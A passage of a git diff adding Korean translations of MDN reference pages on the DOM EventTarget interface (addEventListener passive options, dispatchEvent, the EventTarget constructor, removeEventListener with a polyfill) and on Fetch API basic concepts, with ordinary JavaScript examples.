+// Case 3
+for(var i=0, j=0 ; i&lt;els.length ; i++){
+  /*do lots of stuff with j*/
+  els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false);
+}
+
+// Case 4
+for(var i=0, j=0 ; i&lt;els.length ; i++){
+  /*do lots of stuff with j*/
+  function processEvent(e){/*do something*/};
+  els[j].addEventListener("click", processEvent, false);
+}</pre>
+
+<h3 id="passive_리스너로_스크롤링_성능_향상">passive 리스너로 스크롤링 성능 향상</h3>
+
+<p>명세에 따르면, <code>passive</code> option의 기본값은 항상 <code>false</code> 입니다. 그러나 이것은 이벤트 리스너가 특정 터치 이벤트를 처리하는 경우(다른 이벤트를 포함하여), 스크롤을 처리하는 동안 브라우저의 메인 스레드를 차단하기 때문에, 스크롤 처리 시 성능이 크게 저하될 수 있습니다.</p>
+
+<p>이러한 문제를 방지하기 위하여, 일부 브라우저(특히 크롬과 파이어폭스)는 document-level nodes인 {{domxref("Window")}}, {{domxref("Document")}}, {{domxref("Document.body")}}의 경우 {{event("touchstart")}} 와{{event("touchmove")}} 이벤트에 대해 <code>passive</code> 옵션의 기본값을 <code>true</code>로 변경했습니다. 이렇게 하면 이벤트 리스너가 호출되지 않으므로, 사용자가 스크롤 하는 동안 페이지 렌더링을 차단할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 변경된 동작을 구현하는 브라우저(혹은 브라우저의 버전)을 알아야 할 경우 아래의 호환성 표를 참조하세요.</p>
+</div>
+
+<p>다음과 같이 <code>passive</code>의 값을 명시적으로 <code>false</code>로 설정을 오버라이드 하여 이 동작을 무시할 수 있습니다:</p>
+
+<pre class="brush: js">/* Feature detection */
+var passiveIfSupported = false;
+
+try {
+  window.addEventListener("test", null, Object.defineProperty({}, "passive", { get: function() { passiveIfSupported = { passive: true }; } }));
+} catch(err) {}
+
+window.addEventListener('scroll', function(event) {
+  /* do something */
+  // can't use event.preventDefault();
+}, passiveIfSupported );
+</pre>
+
+<p><code>addEventListener()</code>에 대한 <code>options</code> 매개변수를 지원하지 않는 이전 브라우저에서는, <a href="#Safely_detecting_option_support">feature detection</a>를 사용하지 않고는 <code>useCapture</code> 인수를 사용하지 못하도록 해야 합니다.</p>
+
+<p>{{event("scroll")}} 이벤트의 기본 <code>passive</code> 값에 대해 걱정할 필요는 없습니다. 취소할 수 없기 때문에, 이벤트 리스너는 페이지 렌더링을 차단할 수 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.removeEventListener()")}}</li>
+ <li><a href="/en-US/docs/DOM/Creating_and_triggering_events">Creating and triggering custom events</a></li>
+ <li><a href="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/dispatchevent/index.html b/files/ko/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..327813fde6
--- /dev/null
+++ b/files/ko/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,79 @@
+---
+title: EventTarget.dispatchEvent()
+slug: Web/API/EventTarget/dispatchEvent
+tags:
+  - API
+  - DOM
+  - DOM 엘리먼트 메소드
+  - Gecko
+  - 메소드
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>영향을 받는 {{domxref("EventListener")}} 를 적절한 순서로 호출하는 지정된 {{domxref("EventTarget")}} 에서 {{domxref("Event")}} 를 (동기적으로) 디스패치합니다. 일반 이벤트 처리 규칙(capturing 과 선택적인 bubbling 단계를 포함해)은 <code>dispatchEvent()</code> 를 사용하여 수동으로 전달 된 이벤트에도 적용됩니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>cancelled</em> = !<em>target</em>.dispatchEvent(<em>event</em>)
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<ul>
+ <li><code>event</code> 는 디스패치될 {{domxref("Event")}} 객체입니다.</li>
+ <li><code>target</code> 은 {{domxref("Event", "", "target")}} 를 초기화하기 위해서 사용되고 어떤 이벤트 리스너를 호출할 것인지 결정합니다.</li>
+</ul>
+
+<h3 id="반환_값">반환 값</h3>
+
+<ul>
+ <li>적어도 하나의 이벤트 핸들러가 그 이벤트를 처리하면서  {{domxref("Event.preventDefault()")}} 를 호출하였다면 <code>false</code> 를 반환하고 그렇지 않으면 <code>true</code> 를 반환합니다.</li>
+</ul>
+
+<p><code>dispatchEvent</code> 메서드는 그 이벤트의 타입이 메서드의 호출이전에 초기화되지 않았을 경우 <code>UNSPECIFIED_EVENT_TYPE_ERR</code> 에러를 발생시킵니다. 또는 이벤트의 타입이 <code>null</code> 이거나 공백 스트링을 경우에도 같은 에러를 발생시킵니다. 이벤트 핸들러에 의해 발생한 이벤트는 잡히지 않은 예외(uncaugt exceptions)로 보고가 되며 이벤트 핸들러는 내부 콜스택(nested callstack)에서 실행이 됩니다. 이는 곧 완료가 될 때까지 호출자(caller)를 막는 다는 뜻이고 예외들이 호출자(caller)에게 전파(propagate)되지 않음을 말합니다. </p>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>DOM에 의해 시작되고 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/EventLoop">이벤트 루프</a>를 통해 이벤트 핸들러를 비동기 적으로 호출하는 "네이티브" 이벤트와 달리 <code>dispatchEvent</code> 는 이벤트 핸들러를 동기적으로 호출합니다. <code>dispatchEvent</code> 를 호출 한 후 코드가 계속되기 전에 모든 해당 이벤트 핸들러가 실행되고 리턴됩니다.</p>
+
+<p>implementation's 이벤트 모델의 디스패치 이벤트에 사용되는 create-init-dispatch 프로세스의 마지막 단계입니다. 이벤트는 <a href="https://developer.mozilla.org/ko/docs/Web/API/Event/Event">Event 생성자</a>를 사용하여 만들 수 있습니다.</p>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/API/Event" title="DOM/event">Event 객체 레퍼런스</a>도 한번 확인해 보세요</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events" title="/en-US/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a> 문서를 확인하세요.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td>DOM 2 Events 명세의 초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.EventTarget.dispatchEvent")}}</p>
+
+<p> </p>
diff --git a/files/ko/web/api/eventtarget/eventtarget/index.html b/files/ko/web/api/eventtarget/eventtarget/index.html
new file mode 100644
index 0000000000..054c831826
--- /dev/null
+++ b/files/ko/web/api/eventtarget/eventtarget/index.html
@@ -0,0 +1,70 @@
+---
+title: EventTarget()
+slug: Web/API/EventTarget/EventTarget
+translation_of: Web/API/EventTarget/EventTarget
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><code><strong>EventTarget()</strong></code> 생성자는 새로운 {{domxref("EventTarget")}} 객체 인스턴스를 만듭니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>myEventTarget</var> = new EventTarget();</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{domxref("EventTarget")}} 객체의 인스턴스를 반환합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js" id="ct-20">class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EventTarget.EventTarget")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("EventTarget")}}</li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/index.html b/files/ko/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..5addf5b9d6
--- /dev/null
+++ b/files/ko/web/api/eventtarget/index.html
@@ -0,0 +1,133 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+  - API
+  - DOM
+  - DOM Events
+  - EventTarget
+  - Interface
+  - Reference
+translation_of: Web/API/EventTarget
+---
+<div>{{ApiRef("DOM Events")}}</div>
+
+<p><strong><code>EventTarget</code></strong>은 이벤트를 받을 수 있으며, 이벤트에 대한 수신기(listener)를 가질 수 있는 객체가 구현하는 DOM 인터페이스입니다.</p>
+
+<p>{{domxref("Element")}}, {{domxref("document")}} 및 {{domxref("window")}}가 가장 흔한 이벤트 대상이지만, 다른 객체, 예컨대 {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}} 등 역시 이벤트 대상이 될 수 있습니다.</p>
+
+<p>많은 이벤트 대상(요소, 문서, 창, ...)은 <code>on<em>event</em></code> 속성과 특성을 사용한 <a href="/ko/docs/Web/Guide/Events/Event_handlers">이벤트 처리기</a> 등록도 지원합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.EventTarget()", "EventTarget()")}}</dt>
+ <dd>새로운 <code>EventTarget</code> 객체 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd><code>EventTarget</code>에 특정 이벤트 유형의 이벤트 처리기를 등록합니다.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd><code>EventTarget</code>에서 주어진 이벤트 수신기를 제거합니다.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd><code>EventTarget</code>에 이벤트를 디스패치 합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Mozilla_chrome_코드_용_추가_메서드">Mozilla chrome 코드 용 추가 메서드</h3>
+
+<p>on* property를 구현하는 JS로 구현된 이벤트 대상에 쓰이는 Mozilla 확장기능(extension). <a href="/ko/docs/Mozilla/WebIDL_bindings">WebIDL 바인딩</a>도 참조.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{non-standard_inline}}</li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{non-standard_inline}}</li>
+</ul>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_EventTarget_구현">간단한 EventTarget 구현</h3>
+
+<pre class="brush: js">var EventTarget = function() {
+  this.listeners = {};
+};
+
+EventTarget.prototype.listeners = null;
+EventTarget.prototype.addEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    this.listeners[type] = [];
+  }
+  this.listeners[type].push(callback);
+};
+
+EventTarget.prototype.removeEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    return;
+  }
+  var stack = this.listeners[type];
+  for (var i = 0, l = stack.length; i &lt; l; i++) {
+    if (stack[i] === callback){
+      stack.splice(i, 1);
+      return;
+    }
+  }
+};
+
+EventTarget.prototype.dispatchEvent = function(event) {
+  if (!(event.type in this.listeners)) {
+    return true;
+  }
+  var stack = this.listeners[event.type].slice();
+
+  for (var i = 0, l = stack.length; i &lt; l; i++) {
+    stack[i].call(this, event);
+  }
+  return !event.defaultPrevented;
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>변화 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>매개변수 약간이 이제 선택사항(<code>listener</code>) 또는 <code>null</code> 값을 받아들임(<code>useCapture</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.EventTarget")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Reference/Events">Event 참고서</a> - 웹 플랫폼에서 사용할 수 있는 이벤트 목록</li>
+ <li><a href="/ko/docs/Web/Guide/Events">Event 개발자 안내서</a></li>
+ <li>{{domxref("Event")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/removeeventlistener/index.html b/files/ko/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..d81a32e8c9
--- /dev/null
+++ b/files/ko/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,211 @@
+---
+title: EventTarget.removeEventListener()
+slug: Web/API/EventTarget/removeEventListener
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>EventTarget.removeEventListener()</code></strong> 메서드는 이전에{{domxref("EventTarget.addEventListener()")}}로 {{domxref("EventTarget")}} 에 등록했던 이벤트 리스너를 제거합니다. 이 이벤트 리스너는 이벤트 종류와 이벤트 리스너 함수 자체의 조합으로 식별되어 제거되며, 등록시 제공했던 다양한 옵션과 일치하는 이벤트 리스너만 제거할 수 있습니다. <span style="font-size: 1rem; letter-spacing: -0.00278rem;"> {{anch("Matching event listeners for removal")}}를 참고하세요.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]);
+<em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>제거할 이벤트 리스너의 이벤트 타입을 지정합니다.</dd>
+ <dt><code>listener</code></dt>
+ <dd>이벤트 타깃에서 제거할 이벤트 핸들러 함수, {{domxref("EventListener")}}를 지정합니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>이벤트 리스너에 대한 특징, 즉 제거할 이벤트 리스너의 옵션들을 지정합니다. 지정할 수 있는 옵션들은 아래와 같습니다.
+ <ul>
+  <li><code>capture</code>: 이 이벤트 타입의 이벤트들이 DOM 트리 내 모든 어떤 <code>EventTarget</code> 에 디스패치되기 전에  등록된 <code>listener</code> 들을 먼저 처리하도록 만들지 말지를 결정하는 {{jsxref("Boolean")}} 값.</li>
+  <li>{{non-standard_inline}}<code> mozSystemGroup</code>: Available only in code running in XBL or in Firefox' chrome, it is a {{jsxref("Boolean")}} defining if the listener is added to the system group. (비표준)</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Specifies whether the {{domxref("EventListener")}} to be removed is registered as a capturing listener or not. If this parameter is absent, a default value of <code>false</code> is assumed.</dd>
+ <dd>If a listener is registered twice, one with capture and one without, remove each one separately. Removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Matching_event_listeners_for_removal">Matching event listeners for removal</h3>
+
+<p>Given an event listener previously added by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}}, you may eventually come to a point at which you need to remove it. Obviously, you need to specify the same <code>type</code> and <code>listener</code> parameters to <code>removeEventListener()</code>, but what about the <code>options</code> or <code>useCapture</code> parameters?</p>
+
+<p>While <code>addEventListener()</code> will let you add the same listener more than once for the same type if the options are different, the only option <code>removeEventListener()</code> checks is the <code>capture</code>/<code>useCapture</code> flag. Its value must match for <code>removeEventListener()</code> to match, but the other values don't.</p>
+
+<p>For example, consider this call to <code>addEventListener()</code>:</p>
+
+<pre class="brush: js">element.addEventListener("mousedown", handleMouseDown, true);</pre>
+
+<p>Now consider each of these two calls to <code>removeEventListener()</code>:</p>
+
+<pre class="brush: js">element.removeEventListener("mousedown", handleMouseDown, false);     // Fails
+element.removeEventListener("mousedown", handleMouseDown, true);      // Succeeds
+</pre>
+
+<p>The first call fails because the value of <code>useCapture</code> doesn't match. The second succeeds, since <code>useCapture</code> matches up.</p>
+
+<p>Now consider this:</p>
+
+<pre class="brush: js">element.addEventListener("mousedown", handleMouseDown, { passive: true });</pre>
+
+<p>Here, we specify an <code>options</code> object in which <code>passive</code> is set to <code>true</code>, while the other options are left to the default value of <code>false</code>.</p>
+
+<p>Now look at each of these calls to <code>removeEventListener()</code> in turn. Any of them in which <code>capture</code> or <code>useCapture</code> is <code>true</code> fail; all others succeed. Only the <code>capture</code> setting matters to <code>removeEventListener()</code>.</p>
+
+<pre class="brush: js">element.removeEventListener("mousedown", handleMouseDown, { passive: true });     // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: true });     // Fails
+element.removeEventListener("mousedown", handleMouseDown, { passive: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, false);                 // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, true);                  // Fails
+</pre>
+
+<p>It's worth noting that some browser releases have been inconsistent on this, and unless you have specific reasons otherwise, it's probably wise to use the same values used for the call to <code>addEventListener()</code> when calling <code>removeEventListener()</code>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>If an {{domxref("EventListener")}} is removed from an {{domxref("EventTarget")}} while it is processing an event, it will not be triggered by the current actions. An {{domxref("EventListener")}} will not be invoked for the event it was registered for after being removed. However, it can be reattached.</p>
+
+<p>Calling <code>removeEventListener()</code> with arguments that do not identify any currently registered {{domxref("EventListener")}} on the <code>EventTarget</code> has no effect.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>This example shows how to add a <code>click</code>-based event listener and remove a <code>mouseover</code>-based event listener.</p>
+
+<pre class="brush: js">var body = document.querySelector('body'),
+    clickTarget = document.getElementById('click-target'),
+    mouseOverTarget = document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("api.EventTarget.removeEventListener", 3)}}</p>
+
+<h2 id="Polyfill_to_support_older_browsers">Polyfill to support older browsers</h2>
+
+<p><code>addEventListener()</code> and <code>removeEventListener()</code> are not present in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing the use of <code>addEventListener()</code> and <code>removeEventListener()</code> in implementations that do not natively support it. However, this method will not work on Internet Explorer 7 or earlier, since extending the Element.prototype was not supported until Internet Explorer 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.addEventListener()")}}.</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/ko/web/api/fetch_api/basic_concepts/index.html b/files/ko/web/api/fetch_api/basic_concepts/index.html
new file mode 100644
index 0000000000..45e59484de
--- /dev/null
+++ b/files/ko/web/api/fetch_api/basic_concepts/index.html
@@ -0,0 +1,66 @@
+---
+title: Fetch basic concepts
+slug: Web/API/Fetch_API/Basic_concepts
+translation_of: Web/API/Fetch_API/Basic_concepts
+---
+<p>{{DefaultAPISidebar("Fetch API")}}{{draft}}</p>
+
+<div class="summary">
+<p><a href="/ja/docs/Web/API/Fetch_API">Fetch</a> 는 네트워크 통신을 포함한 리소스를 가지고 오기 위한 인터페이스를 제공해주는 보다 새로운 API입니다. <a href="/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> 와 기능은 같지만 확장 가능하며 효과적으로 구성되어 있습니다. 이 문서에서는 Fetch API의 기본 컨셉들중 일부를 소개합니다.</p>
+</div>
+
+<div class="note">
+<p>이 문서는 수시로 갱신됩니다 。보다 나은 설명이 필요한 Fetch 컨셉트를 발견한 경우에는、<a href="https://discourse.mozilla-community.org/c/mdn">MDN 디스커션 포럼</a>이나 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>(#mdn room)에 연락주시기 바랍니다.</p>
+</div>
+
+<h2 id="In_a_nutshell" name="In_a_nutshell">개념</h2>
+
+<p>Fetch의 핵심은 인터페이스의 추상화입니다. HTTP {{domxref("Request")}}, {{domxref("Response")}}, {{domxref("Headers")}}, {{domxref("Body")}}의 Payload, 그리고 비동기 리소스 Request의 초기화를 위한{{domxref("GlobalFetch.fetch","global fetch")}}메서드가 이 대상입니다. HTTP의 주요 컴포넌트가 자바스크립트 오브젝트로써 추상화되어있기 때문에 다른 API에서 이러한 기능들을 사용하기 쉽게 해줍니다.</p>
+
+<p><a href="/ja/docs/Web/API/ServiceWorker_API">Service Worker</a>는 Fetch를 사용하는 API의 일례입니다.</p>
+
+<p>Fetch는 이러한 Request의 비동기적인 성질을 한걸음 진화시킨 {{jsxref("Promise")}} 베이스의 API입니다.</p>
+
+<h2 id="Guard" name="Guard">가드</h2>
+
+<p>가드는 {{domxref("Headers")}} 객체의 기능으로, 헤더가 사용하고 있는 장소에 알맞게 <code>immutable</code>, <code>request</code>, <code>request-no-cors</code>, <code>response</code>, <code>none</code>값을 얻습니다.</p>
+
+<p>{{domxref("Headers.Headers","Headers()")}}의 {{glossary("constructor")}}를 사용하고 있는 새로운  {{domxref("Headers")}}객체가 생성될 때, 가드는 기본 설정일때 <code>none</code>에 위치됩니다. {{domxref("Request")}}객체나 {{domxref("Response")}}객체가 생성되었을 때, 관계지어진 {{domxref("Headers")}}객체의 가드는 아래의 명세와 같이 설정되어 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">새로운 객체형</th>
+   <th scope="col">생성자</th>
+   <th scope="col">관계한{{domxref("Headers")}} 객체 가드의 설정</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="2">{{domxref("Request")}}</td>
+   <td>{{domxref("Request.Request","Request()")}}</td>
+   <td><code>request</code></td>
+  </tr>
+  <tr>
+   <td><code>no-cors의</code> {{domxref("Request.mode","mode")}}를 설정한 {{domxref("Request.Request","Request()")}}</td>
+   <td><code>request-no-cors</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">{{domxref("Response")}}</td>
+   <td>{{domxref("Response.Response","Response()")}}</td>
+   <td><code>response</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Response.error","error()")}}메서드나 {{domxref("Response.redirect","redirect()")}} 메서드</td>
+   <td><code>immutable</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>헤더 가드는 헤더의 콘텐츠를 변경하는 {{domxref("Headers.set","set()")}}{{domxref("Headers.delete","delete()")}},{{domxref("Headers.append","append()")}}메서드에 영향을 끼칩니다.가드는 <code>immutable</code>의 {{domxref("Headers")}}를 수정하려고 한 경우, <code>TypeError</code>를 반환합니다. 예외의 경우도 있는데 다음과 같은 상황에서는 동작합니다.</p>
+
+<ul>
+ <li>가드가 <code title="">request</code>에서 헤더의 이름이{{Glossary("forbidden header name")}}가 아닌 경우</li>
+ <li>가드가<code title="">request-no-cors에서 헤더의 </code><var>name또는 </var><var>value값이</var> {{Glossary("simple header")}}인 경우</li>
+ <li>가드가 <code title="">response</code>며 헤더의 이름이 {{Glossary("forbidden response header name")}}가 아닌 경우</li>
+</ul>
diff --git a/files/ko/web/api/fetch_api/fetch의_사용법/index.html b/files/ko/web/api/fetch_api/fetch의_사용법/index.html
new file mode 100644
index 0000000000..403c340413
--- /dev/null
